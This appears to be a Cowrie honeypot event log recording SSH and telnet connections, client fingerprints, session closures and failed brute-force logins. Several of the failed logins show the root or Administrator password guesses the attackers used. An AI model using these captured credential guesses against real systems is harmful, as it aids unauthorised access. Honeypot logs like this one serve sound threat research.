{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":56138,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea1495819d9c","protocol":"ssh","message":"New connection: 200.105.172.184:56138 (159.203.135.109:22) [session: ea1495819d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:09.756490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:09.761694Z","src_ip":"200.105.172.184","session":"ea1495819d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:09.886518Z","src_ip":"200.105.172.184","session":"ea1495819d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55450,"dst_ip":"159.203.135.109","dst_port":23,"session":"a758cb94b57e","protocol":"telnet","message":"New connection: 161.132.53.68:55450 (159.203.135.109:23) [session: a758cb94b57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:10.376820Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:10.390098Z","src_ip":"200.105.172.184","session":"ea1495819d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.48755073547363,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:10.782197Z","src_ip":"161.132.53.68","session":"8e596deb683e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.902915954589844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:10.945951Z","src_ip":"104.245.105.2","session":"4add9f825a2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:11.510704Z","src_ip":"200.105.172.184","session":"ea1495819d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52764,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4afbfce3715","protocol":"telnet","message":"New connection: 174.142.104.49:52764 (159.203.135.109:23) [session: b4afbfce3715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:12.282906Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":59890,"dst_ip":"10.17.0.5","dst_port":22,"session":"745ac37582b6","protocol":"ssh","message":"New connection: 124.18.182.99:59890 (10.17.0.5:22) [session: 745ac37582b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:13.510664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:13.516282Z","src_ip":"124.18.182.99","session":"745ac37582b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:13.689868Z","src_ip":"124.18.182.99","session":"745ac37582b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.106.188.225","src_port":57450,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f4118c03de4","protocol":"telnet","message":"New connection: 128.106.188.225:57450 (10.17.0.5:23) [session: 0f4118c03de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:13.994145Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@!@#$","message":"login attempt [root/admin@!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:14.408540Z","src_ip":"124.18.182.99","session":"745ac37582b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55456,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4d6d2a49383","protocol":"telnet","message":"New connection: 161.132.53.68:55456 (159.203.135.109:23) [session: b4d6d2a49383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:14.418673Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56932,"dst_ip":"159.203.135.109","dst_port":23,"session":"307de10babf5","protocol":"telnet","message":"New connection: 174.142.104.49:56932 (159.203.135.109:23) [session: 307de10babf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:14.504893Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:15.582995Z","src_ip":"124.18.182.99","session":"745ac37582b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53806,"dst_ip":"159.203.135.109","dst_port":23,"session":"807d78bba4ff","protocol":"telnet","message":"New connection: 174.142.104.49:53806 (159.203.135.109:23) [session: 807d78bba4ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:15.761234Z"}
{"eventid":"cowrie.session.closed","duration":32.8101863861084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:15.806579Z","src_ip":"161.132.53.68","session":"e706730a3346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.715151071548462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:16.024969Z","src_ip":"161.132.53.68","session":"5381e81ec06d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791702032089233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:16.222608Z","src_ip":"161.132.53.68","session":"db342ee1bcfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55462,"dst_ip":"159.203.135.109","dst_port":23,"session":"234d9424ff11","protocol":"telnet","message":"New connection: 161.132.53.68:55462 (159.203.135.109:23) [session: 234d9424ff11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:16.363521Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50770,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c74529b7ab5","protocol":"telnet","message":"New connection: 161.132.53.68:50770 (159.203.135.109:23) [session: 7c74529b7ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:16.959892Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":36172,"dst_ip":"10.17.0.5","dst_port":22,"session":"886f08c0e1e6","protocol":"ssh","message":"New connection: 220.119.37.141:36172 (10.17.0.5:22) [session: 886f08c0e1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:17.165283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:17.170683Z","src_ip":"220.119.37.141","session":"886f08c0e1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:17.365887Z","src_ip":"220.119.37.141","session":"886f08c0e1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangbo","message":"login attempt [root/wangbo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:18.169973Z","src_ip":"220.119.37.141","session":"886f08c0e1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50778,"dst_ip":"159.203.135.109","dst_port":23,"session":"98eb7d5d4b2c","protocol":"telnet","message":"New connection: 161.132.53.68:50778 (159.203.135.109:23) [session: 98eb7d5d4b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:18.367284Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:19.366389Z","src_ip":"220.119.37.141","session":"886f08c0e1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50792,"dst_ip":"159.203.135.109","dst_port":23,"session":"003c9f615cdf","protocol":"telnet","message":"New connection: 161.132.53.68:50792 (159.203.135.109:23) [session: 003c9f615cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:20.628099Z"}
{"eventid":"cowrie.session.closed","duration":31.925678730010986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:22.735282Z","src_ip":"161.132.53.68","session":"8cf1a640dce6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50800,"dst_ip":"159.203.135.109","dst_port":23,"session":"941f9a41bee8","protocol":"telnet","message":"New connection: 161.132.53.68:50800 (159.203.135.109:23) [session: 941f9a41bee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:24.727859Z"}
{"eventid":"cowrie.session.closed","duration":12.082353115081787,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:26.076360Z","src_ip":"128.106.188.225","session":"0f4118c03de4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.426903009414673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:27.038782Z","src_ip":"161.132.53.68","session":"c59269ec3566","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.93913459777832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:28.098014Z","src_ip":"161.132.53.68","session":"2cd6df8510e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.877514600753784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:31.766401Z","src_ip":"161.132.53.68","session":"8a47496bdf4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":33488,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8172a59c93e","protocol":"telnet","message":"New connection: 161.132.53.68:33488 (159.203.135.109:23) [session: c8172a59c93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:32.406718Z"}
{"eventid":"cowrie.session.closed","duration":30.129643201828003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:33.072512Z","src_ip":"161.132.53.68","session":"2fafc1455033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.650583267211914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:38.592897Z","src_ip":"161.132.53.68","session":"728fd99823f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43198,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d240a66ba2b","protocol":"telnet","message":"New connection: 174.142.104.49:43198 (159.203.135.109:23) [session: 0d240a66ba2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:39.914545Z"}
{"eventid":"cowrie.session.closed","duration":31.029157161712646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:41.405860Z","src_ip":"161.132.53.68","session":"a758cb94b57e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958394527435303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:43.241180Z","src_ip":"174.142.104.49","session":"b4afbfce3715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47134,"dst_ip":"159.203.135.109","dst_port":23,"session":"02bf70bf47df","protocol":"telnet","message":"New connection: 161.132.53.68:47134 (159.203.135.109:23) [session: 02bf70bf47df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:44.442605Z"}
{"eventid":"cowrie.session.closed","duration":30.71403193473816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:45.218798Z","src_ip":"174.142.104.49","session":"307de10babf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":48320,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae1833d73d23","protocol":"ssh","message":"New connection: 114.35.59.237:48320 (10.17.0.5:22) [session: ae1833d73d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:45.888439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:45.893808Z","src_ip":"114.35.59.237","session":"ae1833d73d23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:46.111956Z","src_ip":"114.35.59.237","session":"ae1833d73d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.34955620765686,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:46.768124Z","src_ip":"161.132.53.68","session":"b4d6d2a49383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.174652099609375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:46.935769Z","src_ip":"174.142.104.49","session":"807d78bba4ff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Administrator","password":"admin","message":"login attempt [Administrator/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:47.005110Z","src_ip":"114.35.59.237","session":"ae1833d73d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.727640628814697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:47.090856Z","src_ip":"161.132.53.68","session":"234d9424ff11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45146,"dst_ip":"159.203.135.109","dst_port":23,"session":"555227d2aaa8","protocol":"telnet","message":"New connection: 161.132.53.68:45146 (159.203.135.109:23) [session: 555227d2aaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:47.438470Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:48.224852Z","src_ip":"114.35.59.237","session":"ae1833d73d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.599810361862183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:49.966794Z","src_ip":"161.132.53.68","session":"98eb7d5d4b2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.01115441322327,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:49.970901Z","src_ip":"161.132.53.68","session":"7c74529b7ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45162,"dst_ip":"159.203.135.109","dst_port":23,"session":"0076e2df96cd","protocol":"telnet","message":"New connection: 161.132.53.68:45162 (159.203.135.109:23) [session: 0076e2df96cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:51.274963Z"}
{"eventid":"cowrie.session.closed","duration":32.297931432724,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:52.925895Z","src_ip":"161.132.53.68","session":"003c9f615cdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.59168815612793,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:53.506085Z","src_ip":"174.142.104.49","session":"0d240a66ba2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35442,"dst_ip":"10.17.0.5","dst_port":23,"session":"30e11e00a45c","protocol":"telnet","message":"New connection: 104.245.105.2:35442 (10.17.0.5:23) [session: 30e11e00a45c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:56.220354Z"}
{"eventid":"cowrie.session.closed","duration":31.82302761077881,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:37:56.550749Z","src_ip":"161.132.53.68","session":"941f9a41bee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47496,"dst_ip":"159.203.135.109","dst_port":23,"session":"08f9c24e5e9c","protocol":"telnet","message":"New connection: 161.132.53.68:47496 (159.203.135.109:23) [session: 08f9c24e5e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:02.118716Z"}
{"eventid":"cowrie.session.closed","duration":30.892489194869995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:03.299109Z","src_ip":"161.132.53.68","session":"c8172a59c93e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48460,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7e50ee4477c","protocol":"telnet","message":"New connection: 161.132.53.68:48460 (159.203.135.109:23) [session: e7e50ee4477c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:38:06.880609Z"}
